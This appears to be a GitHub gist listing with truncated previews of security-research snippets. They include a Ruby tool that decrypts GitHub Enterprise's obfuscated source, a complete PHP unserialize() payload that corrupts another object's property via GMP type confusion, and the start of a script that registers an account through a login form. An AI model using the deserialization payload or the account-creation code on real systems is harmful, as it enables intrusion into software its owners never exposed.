This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
# | |
# This tool is only used to "decrypt" the github enterprise source code. | |
# | |
# Run in the /data directory of the instance. | |
require "zlib" | |
KEY = "This obfuscation is intended to discourage GitHub Enterprise customers "+ | |
"from making modifications to the VM. We know this 'encryption' is easily broken. " |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$a = new stdClass; // handle = 1 | |
$a->test = false; | |
echo('Property $a->test is: '); | |
var_dump($a->test); | |
$b = unserialize('a:1:{i:0;C:3:"GMP":69:{s:1:"1";a:2:{s:4:"test";b:1;i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}}}'); | |
echo('Property $a->test changed to: '); | |
var_dump($a->test); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class obj | |
{ | |
var $test; | |
function __wakeup() | |
{ | |
$this->test = 1; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
display_usage() { | |
echo "This script check connection to list of URLs with specified host." | |
echo -e "\nUsage:\n$0 ipsfile hostname\n" | |
echo -e "\nExample:\n$0 moz-com.list moz.com\n" | |
} | |
if [ $# -le 1 ] | |
then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var login = 'testuser'; //логин пользователя | |
var password = 'SuperMEgaPa$$'; //пароль | |
var email = '[email protected]'; // email | |
/* Code */ | |
var b = BS.LoginForm; | |
var public_key = $F("publicKey"); | |
var encrypted_pass = BS.Encrypt.encryptData(password, $F("publicKey")); | |
var parameters = 'username1='+login+'&email='+encodeURIComponent(email)+'&submitCreateUser=&publicKey='+public_key+'&encryptedPassword1='+encrypted_pass+'&encryptedRetypedPassword='+encrypted_pass; | |
var c = OO.extend(BS.ErrorsAwareListener, { | |
onDuplicateAccountError: function(b) { |
NewerOlder